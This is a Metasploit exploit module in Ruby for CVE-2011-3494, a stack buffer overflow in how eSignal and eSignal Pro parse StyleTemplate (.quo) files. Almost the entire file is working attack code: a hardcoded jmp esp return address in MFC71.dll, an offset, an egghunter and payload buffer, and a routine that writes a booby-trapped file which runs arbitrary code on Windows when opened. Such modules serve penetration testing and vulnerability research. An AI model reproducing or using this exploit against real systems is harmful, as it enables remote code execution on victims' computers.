##
# $Id: esignal_styletemplate_bof.rb 13768 2011-09-21 11:55:56Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',
      'Description'    => %q{
        The software is unable to handle the "<StyleTemplate>" files (even
        those original included in the program) like those with the registered
        extensions QUO, SUM and POR. Successful exploitation of this vulnerability
        may take up to several seconds due to the use of egghunter.  Also, DEP
        bypass is unlikely due to the limited space for payload.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma',                          # Original discovery
          'TecR0c <tecr0c[at]tecninja.net>',         # msf
          'mr_me <steventhomasseeley[at]gmai.com>',  # msf
        ],
      'Version'       => '$Revision: 13768 $',
      'References'    =>
        [
          [ 'CVE', '2011-3494' ],
          [ 'OSVDB', '75456' ],
          [ 'BID', '49600' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/17837/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00"
        },

      'Targets'        =>
        [
          [
            'Win XP SP3 / Windows Vista / Windows 7',
            {
              'Ret'     =>  0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
              'Offset'  =>  54
            }
          ],
        ],
      'Privileged'   => false,
      'DisclosureDate' => 'Sep 06 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
      ], self.class)

  end

  def exploit
    eggoptions = 
    {
      :checksum => false,
      :eggtag => 'eggz' 
    }

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    buffer =  rand_text_alpha(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << rand_text_alpha_upper(4)
    buffer << hunter
    buffer << rand_text_alpha_upper(1500)
    buffer << egg

    file = "<StyleTemplate>\r\n"
    file << "#{buffer}\r\n"
    file << "</StyleTemplate>\r\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)
  end
end